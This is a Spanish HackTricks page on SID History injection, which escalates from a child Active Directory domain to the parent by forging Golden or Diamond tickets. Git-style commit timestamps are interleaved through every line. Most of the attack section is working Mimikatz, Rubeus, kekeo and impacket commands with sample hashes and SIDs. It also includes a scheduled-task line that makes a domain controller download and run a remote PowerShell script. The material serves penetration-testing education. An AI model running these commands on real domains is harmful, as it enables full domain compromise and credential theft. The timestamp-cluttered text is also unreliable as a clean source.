2023-06-03 01:46:23 +00:00
## Ataque
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
La inyección de SID History fue diseñada para soportar escenarios de migración, donde un usuario sería movido de un dominio a otro. Para preservar el acceso a los recursos en el "viejo" dominio, el **SID anterior del usuario se agregaría al SID History** de su nueva cuenta. Por lo tanto, al crear dicho ticket, se puede agregar el SID de un grupo privilegiado (EAs, DAs, etc.) en el dominio padre que **concederá acceso a todos los recursos en el padre** .
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
Esto se puede lograr utilizando un [**Golden Ticket** ](sid-history-injection.md#golden-ticket ) o un [**Diamond Ticket** ](sid-history-injection.md#diamond-ticket ).
2022-09-04 09:37:14 +00:00
2023-06-03 01:46:23 +00:00
Para encontrar el **SID** del grupo ** "Enterprise Admins"** se puede encontrar el **SID** del **dominio raíz** y establecerlo en `S-1-5-21-<root domain>-519` . Por ejemplo, a partir del SID del dominio raíz `S-1-5-21-280534878-1496970234-700767426` , el SID del grupo ** "Enterprise Admins"** es `S-1-5-21-280534878-1496970234-700767426-519` .
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
También se pueden utilizar los grupos **Domain Admins** , que terminan en **512** .
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
Otra forma de encontrar el SID de un grupo del otro dominio (por ejemplo, "Domain Admins") es con:
2022-08-15 21:10:48 +00:00
```powershell
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
2023-06-03 01:46:23 +00:00
### Golden Ticket (Mimikatz) con KRBTGT-AES256
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-09-04 09:37:14 +00:00
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:< current_domain > /sid:< current_domain_sid > /sids:< victim_domain_sid_of_group > /aes256:< krbtgt_aes256 > /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
2022-10-06 09:16:41 +00:00
/user is the username to impersonate (could be anything)
2022-09-04 09:37:14 +00:00
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
2022-10-06 09:16:41 +00:00
--> You could also use /krbtgt:< HTML of krbtgt > instead of the "/aes256" option
2022-09-04 09:37:14 +00:00
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.
# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
2022-08-15 21:10:48 +00:00
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
Para obtener más información sobre los "golden tickets", consulte:
2022-08-15 21:10:48 +00:00
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md ](golden-ticket.md )
{% endcontent-ref %}
2022-09-04 09:37:14 +00:00
### Diamond Ticket (Rubeus + KRBTGT-AES256)
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```powershell
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
2022-10-06 09:16:41 +00:00
# Or a ptt with a golden ticket
Rubeus.exe golden /rc4:< krbtgt hash > /domain:< child_domain > /sid:< child_domain_sid > /sids:< parent_domain_sid > -519 /user:Administrator /ptt
# You can use "Administrator" as username or any other string
2022-08-15 21:10:48 +00:00
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
Para obtener más información sobre los tickets diamond, consulte:
2022-08-15 21:10:48 +00:00
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md ](diamond-ticket.md )
{% endcontent-ref %}
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
Escalación a DA o root o administrador de empresa utilizando el hash KRBTGT del dominio comprometido:
2022-08-15 21:10:48 +00:00
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
2022-08-15 21:10:48 +00:00
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
2022-10-06 09:16:41 +00:00
2022-08-15 21:10:48 +00:00
schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
2022-10-06 09:16:41 +00:00
{% endcode %}
2023-06-03 01:46:23 +00:00
Con los permisos adquiridos en el ataque, puedes ejecutar, por ejemplo, un ataque DCSync en el nuevo dominio:
2022-10-06 09:16:41 +00:00
{% content-ref url="dcsync.md" %}
[dcsync.md ](dcsync.md )
{% endcontent-ref %}
2023-06-03 01:46:23 +00:00
### Desde Linux
2022-10-06 09:16:41 +00:00
2023-06-03 01:46:23 +00:00
#### Manual con [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
2022-10-06 09:16:41 +00:00
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py < child_domain > /username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py < child_domain > /username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
# Generate golden ticket
ticketer.py -nthash < krbtgt_hash > -domain < child_domain > -domain-sid < child_domain_sid > -extra-sid < root_domain_sid > Administrator
# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS
# Load ticket
export KRB5CCNAME=hacker.ccache
# psexec in domain controller of root
psexec.py < child_domain > /Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
{% endcode %}
2023-06-03 01:46:23 +00:00
#### Automático usando [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
2022-10-06 09:16:41 +00:00
2023-06-03 01:46:23 +00:00
Este es un script de Impacket que **automatiza la escalada del dominio hijo al dominio padre** . El script necesita:
2022-10-06 09:16:41 +00:00
2023-06-03 01:46:23 +00:00
* Controlador de dominio de destino
* Credenciales para un usuario administrador en el dominio hijo
2022-10-06 09:16:41 +00:00
2023-06-03 01:46:23 +00:00
El flujo es:
2022-10-06 09:16:41 +00:00
2023-06-03 01:46:23 +00:00
* Obtiene el SID del grupo Enterprise Admins del dominio padre
* Recupera el hash para la cuenta KRBTGT en el dominio hijo
* Crea un Golden Ticket
* Inicia sesión en el dominio padre
* Recupera las credenciales para la cuenta de Administrador en el dominio padre
* Si se especifica el interruptor `target-exec` , se autentica en el Controlador de Dominio del dominio padre a través de Psexec.
2022-10-06 09:16:41 +00:00
```bash
raiseChild.py -target-exec 10.10.10.10 < child_domain > /username
```
2023-06-03 01:46:23 +00:00
## Referencias
2022-08-15 21:10:48 +00:00
2022-10-04 14:21:27 +00:00
* [https://studylib.net/doc/25696115/crto ](https://studylib.net/doc/25696115/crto )
2022-08-15 21:10:48 +00:00
2022-10-04 14:21:27 +00:00
< details >
2022-08-15 21:10:48 +00:00
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-08-15 21:10:48 +00:00
2023-06-03 01:46:23 +00:00
* ¿Trabajas en una **empresa de ciberseguridad** ? ¿Quieres ver tu **empresa anunciada en HackTricks** ? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF** ? ¡Consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Descubre [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Obtén el [**swag oficial de PEASS y HackTricks** ](https://peass.creator-spring.com )
* **Únete al** [**💬** ](https://emojipedia.org/speech-balloon/ ) **grupo de Discord** o al [**grupo de telegram** ](https://t.me/peass ) o **sígueme en** **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks_live )**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks ](https://github.com/carlospolop/hacktricks ) y al [repositorio de hacktricks-cloud ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-08-15 21:10:48 +00:00
< / details >